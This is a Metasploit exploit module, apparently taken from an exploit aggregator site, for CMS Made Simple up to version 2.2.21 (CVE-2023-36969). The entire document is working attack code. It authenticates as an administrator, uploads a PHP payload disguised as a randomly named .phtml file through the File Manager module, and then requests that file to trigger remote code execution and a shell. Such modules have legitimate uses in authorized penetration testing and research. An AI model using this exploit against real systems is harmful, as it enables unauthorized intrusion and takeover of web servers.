Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-CMSMS_FILE_MANAGER_AUTH_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'CmsMadeSimple Authenticated File Manager RCE',
'Description' => %q{
CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files
with the .phar or .phtml extensions, enabling execution of PHP code
leading to RCE. The file can be executed by accessing its URL in the
/uploads/ directory.
Tested on v2.2.21, v2.2.18, v2.2.17, v2.2.16, v2.2.15, v2.2.14.
},
'License' => MSF_LICENSE,
'Author' => [
'Okan Kurtuluş', # Initial research
'Mirabbas Ağalarov', # EDB PoC
'tastyrice' # Metasploit Module
],
'References' => [
['CVE', '2023-36969'],
['EDB', '51600']
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [
[
'Universal', {}
]
],
'Privileged' => false,
'DisclosureDate' => '2023-06-07',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base directory path for cmsms', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
]
)
end
def multipart_form_data(uri, data, message)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', uri),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{message.bound}",
'keep_cookies' => true
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '', 'index.php'),
'method' => 'GET'
)
unless res && res.code == 200
vprint_error('Connection Failed')
return CheckCode::Unknown
end
set_cookie = res.get_cookies
return CheckCode::Safe unless set_cookie&.match?(/^CMSSESSID/)
html = res.get_html_document
version = Rex::Version.new(html.at('p.copyright-info').text.scan(/\d+\.\d+\.\d+/).first)
vprint_status("#{peer} - CMS Made Simple Version: #{version}")
return CheckCode::Appears if version <= Rex::Version.new('2.2.21')
CheckCode::Detected
end
def login
data = {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'loginsubmit' => 'Submit'
}
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
'method' => 'POST',
'vars_post' => data,
'keep_cookies' => true
)
fail_with(Failure::NoAccess, 'Authentication was unsuccessful') unless res&.code == 302 && cookie_jar.cookies && res.headers['Location'] =~ %r{/admin$}
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
vprint_good("#{peer} - Authentication was successful")
end
def send_file
filename = "#{rand_text_alpha(8..12)}.phtml"
c = cookie_jar.cookies.find { |cookie| cookie.name == '__c' }.value
payload = get_write_exec_payload(unlink_self: true)
# create the message with payload
message = Rex::MIME::Message.new
message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')
message.add_part(c, nil, nil, 'form-data; name="__c"')
message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')
message.add_part(payload, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}\"")
data = message.to_s
# send payload
payload_res = multipart_form_data('moduleinterface.php', data, message)
fail_with(Failure::UnexpectedReply, 'Failed to upload the file') unless payload_res && payload_res.code == 200
vprint_good("#{peer} - File uploaded #{filename}")
# open shell
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'uploads', filename),
'method' => 'GET'
)
return unless res && res.code == 404
print_error("Shell #{shell_name} not found")
end
def exploit
login
send_file
end
end